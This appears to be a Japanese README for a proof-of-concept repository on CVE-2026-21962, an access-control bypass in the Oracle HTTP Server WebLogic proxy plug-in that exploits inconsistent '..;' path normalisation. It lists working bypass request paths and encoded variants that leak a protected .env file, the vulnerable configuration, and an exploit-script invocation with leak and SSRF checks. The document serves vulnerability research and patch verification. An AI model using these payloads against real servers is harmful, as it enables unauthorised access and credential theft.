
CVE-2026-21962の検証済みPoCと分析。Oracle HTTP Server/WebLogic Proxy Plug-inにおけるURI正規化の不整合を介したアクセス制御バイパスに関するもので、エクスプロイトスクリプトと証拠を含む。
CVE-2026-21962(不適切なアクセス制御、CVSS 10.0)に関する、独立して再現されたエクスプロイトと分析です。対象はOracle HTTP Server / Apache HTTP Server用Oracle WebLogic Serverプロキシ・プラグインです。
ステータス: 検証済み — WebLogic Server 12.2.1.4の前面に配置された実稼働OHS 12.2.1.4.0および14.1.2.0.0に対して確認済み。
フロントエンド(OHS + mod_wl_ohs)とバックエンド(WebLogic)では、..;の正規化方法が異なります。次のようなリクエストは、
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
OHSが..;を畳み込まない一方、WebLogicは畳み込む(; = サーブレットのパスパラメータ、.. = 親ディレクトリ)ため、フロントエンドの<Location /internal-admin>保護ルールをバイパスします。その後、バックエンドが保護されたパスを配信します。結果: (CWE-284)。
analysis/root-cause.mdを参照してください。
mod_wl_ohs(WLSPLUGINS_12.2.1.4.0_LINUX.X64_190912.1848)がWebLogic Server 12.2.1.4の前面に配置された構成。mod_wl_ohs(WLSPLUGINS_14.1.2.0.0_LINUX.X64_250908.1137)がWebLogic Server 12.2.1.4の前面に配置された構成。.envを漏洩):
/foo/..;/internal-admin/cont/.env/foo/..%3b/internal-admin/cont/.env/foo/..;jsessionid=xxxx/internal-admin/cont/.env/foo/%2e%2e;/internal-admin/cont/.env404)。これによりバイパスが証明されます。X-ORACLE-DMS-*ヘッダーが含まれ、本物のバックエンド(WebLogic)レスポンスであることが証明されます。/internal-admin/...に正規化されたことが記録されます(GET /foo/../internal-admin/... 200)。evidence/を参照)。poc-factcheck.mdを参照)。isapi_wl、12.2.1.4.0で影響あり)。同じメカニズム(バックエンドでのサーブレットパス解決)が想定されますが、Windows上では再現されていません。analysis/patch-analysis.md)。| 役割 | コンポーネント | バージョン |
|---|---|---|
| フロントエンド | Oracle HTTP Server | 12.2.1.4.0 / 14.1.2.0.0 |
| プラグイン | mod_wl_ohs | 12.2.1.4(190912)/ 14.1.2(250908) |
| バックエンド | Oracle WebLogic Server | 12.2.1.4 |
| 保護対象アプリ | /internal-admin/cont/.env(架空の認証情報) | — |
使用したフロントエンド構成(最小トリガー):
<Location /foo>
WLSRequest ON
WebLogicCluster <backend>:7101
</Location>
<Location /internal-admin>
ErrorDocument 404 'OHS: Disallowed location'
Redirect 404 /
</Location>
同じリクエスト、同じフロントエンド、同じバックエンド — 変更されるのはフロントエンドの..;の処理のみです。
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
| デプロイメント | HTTP | 漏洩 | バックエンド到達 |
|---|---|---|---|
| 脆弱 | 200 | あり(.env認証情報) | あり(X-ORACLE-DMS-*) |
| パッチ適用済み(正規化修正) | 404 | なし | なし |
生の証跡(リクエスト / レスポンス / サーバーログ):
python3 exploit/CVE-2026-21962.py -t http://TARGET:PORT --auto-proxy --check ALL
--auto-proxy : WLSRequestプロキシ接頭辞(例: /foo)を自動検出します。-c : バックエンド上の保護されたパス(デフォルト: internal-admin/cont/.env)。--check LEAK|SSRF|ALL。X-ORACLE-DMS-*ヘッダーを使用します。判定が陽性となるには、コントロール(直接)リクエストがブロックされている必要があります。詳細はexploit/README.mdを参照してください。テストを許可されたシステムに対してのみ使用してください。
.
├── README.md このファイル
├── exploit/
│ ├── CVE-2026-21962.py 検証済みPoC(決定的な漏洩チェック)
│ └── README.md
├── evidence/
│ ├── vulnerable/ request.txt、response.txt、server-log.txt
│ └── patched/ request.txt、response.txt、server-log.txt
├── analysis/
│ ├── root-cause.md 正規化の不一致の分析
│ └── patch-analysis.md バイナリ差分 + パッチ相当のA/Bテスト
└── poc-factcheck.md 公開PoCの信頼性テーブル + PoCごとの詳細
保護されたパスを知らなくても動作するアクティブな検出 / マッピングツール(フィンガープリント、ブラインドプローブ、正規化マップ)は、../../probe/に別途保管されています。
exploit/CVE-2026-21962.py
SHA-256: 20f050abf2a8f0e5b644667c1f7f87bcd9b2448d03b8d5d89bd6ea71b6b4f75aこの資料は、脆弱性研究と防御的検証のために提供されています。許可なくシステムに対して使用しないでください。証跡内の.envの内容は架空のものであり、実際の認証情報は含まれていません。